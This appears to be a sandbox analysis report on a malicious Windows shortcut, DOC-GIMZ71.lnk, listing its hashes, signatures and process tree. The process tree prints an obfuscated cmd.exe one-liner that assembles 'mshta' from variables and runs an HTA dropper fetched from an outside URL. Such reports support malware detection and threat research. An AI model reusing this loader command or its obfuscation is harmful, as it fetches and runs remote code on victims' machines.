Analysis
- max time kernel
60s - max time network
63s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 10:46
Static task
static1
Behavioral task
behavioral1
Sample
DOC-GIMZ71.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-GIMZ71.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-GIMZ71.lnk
- Size 1KB
- Sample260817-mt89yayydx
- SHA256 1dfc976eab86ef9f6701702f14223feb0ee8533373b938bed97c156d432acb19
- MD5 4ccd1f22b7b773cf8b64b627460301b4
- SHA1 738e2438a99d6298a74c2b5d3c2eb7bdd4b1689d
- SHA512 32b7638016acce18c66da52f0034e4aea2dff2581b6e2e35dfb3027670444506ef67b386397bec34db26cabf17c6b2a4f3b5a9299b2c161928c326b8665a5ebd
- TLSH T119317B103FE90A18F3F38E7398BB571089FBB9668E20CA1E4140454D5432A15E17AFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://geo-pdffiller.lat/h/estagio1.php?r=331061
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1160 cmd.exe 4512 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1160 wrote to memory of 4512 1160 cmd.exe 90 PID 4512 wrote to memory of 3772 4512 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GIMZ71.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set ucZ=msh&&set Ru=ta&&start "" !ucZ!!Ru! https://geo-pdffiller.lat/h/estagio1.php?r=331061"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Windows\System32\mshta.exemshta https://geo-pdffiller.lat/h/estagio1.php?r=3310613⤵PID:3772
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